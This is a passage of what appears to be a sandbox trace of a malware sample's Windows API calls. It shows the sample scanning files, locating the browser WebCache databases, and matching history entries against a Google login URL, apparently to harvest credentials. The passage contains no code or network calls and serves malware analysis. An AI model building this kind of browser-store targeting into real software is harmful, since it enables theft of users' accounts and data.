lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7300 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7380 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7480 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7500 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7580 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7600 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7680 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7700 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7780 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7880 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7980 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00 [0069.187] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.187] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.187] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a80 [0069.188] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.188] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.188] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00 [0069.188] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.188] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.188] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b80 [0069.188] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.188] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.188] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00 [0069.188] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.188] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.188] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c80 [0069.188] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.188] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.188] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00 [0069.188] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.188] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.188] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d80 [0069.188] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.188] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.188] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00 [0069.188] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.188] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.188] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e80 [0069.188] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.188] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.188] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00 [0069.188] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.188] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.188] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f80 [0069.188] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.188] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.188] CloseHandle (hObject=0xcc) returned 1 [0069.188] FindNextFileW (in: hFindFile=0x8a3148, lpFindFileData=0x288350 | out: lpFindFileData=0x288350) returned 0 [0069.188] FindClose (in: hFindFile=0x8a3148 | out: hFindFile=0x8a3148) returned 1 [0069.188] FindNextFileW (in: hFindFile=0x89ff18, lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 0 [0069.188] FindClose (in: hFindFile=0x89ff18 | out: hFindFile=0x89ff18) returned 1 [0069.189] FindNextFileW (in: hFindFile=0x89fed8, lpFindFileData=0x289748 | out: lpFindFileData=0x289748) returned 0 [0069.189] FindClose (in: hFindFile=0x89fed8 | out: hFindFile=0x89fed8) returned 1 [0069.189] FindNextFileW (in: hFindFile=0x89fe98, lpFindFileData=0x28a144 | out: lpFindFileData=0x28a144) returned 0 [0069.189] FindClose (in: hFindFile=0x89fe98 | out: hFindFile=0x89fe98) returned 1 [0069.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x28a484, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1 [0069.190] wcslen (_String="Microsoft\\Windows\\WebCache\\WebCacheV01.dat") returned 0x2a [0069.190] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0069.190] wcscpy (in: _Dest=0x28a694, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local" [0069.190] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0069.190] wcscat (in: _Dest=0x28a694, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\" [0069.190] wcscat (in: _Dest=0x28a694, _Source="Microsoft\\Windows\\WebCache\\WebCacheV01.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" [0069.190] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")) returned 0xffffffff [0069.190] wcslen (_String="Microsoft\\Windows\\WebCache\\WebCacheV24.dat") returned 0x2a [0069.190] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0069.190] wcscpy (in: _Dest=0x28a694, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local" [0069.190] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0069.190] wcscat (in: _Dest=0x28a694, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\" [0069.190] wcscat (in: _Dest=0x28a694, _Source="Microsoft\\Windows\\WebCache\\WebCacheV24.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV24.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV24.dat" [0069.190] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV24.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\webcache\\webcachev24.dat")) returned 0xffffffff [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2=":host: www.msn.com") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://www.msn.com/de-de/") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2=":host: computer") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2=":host: www.google.de") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/oe_9.docx") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned 1 [0069.190] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/zgid.png") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", 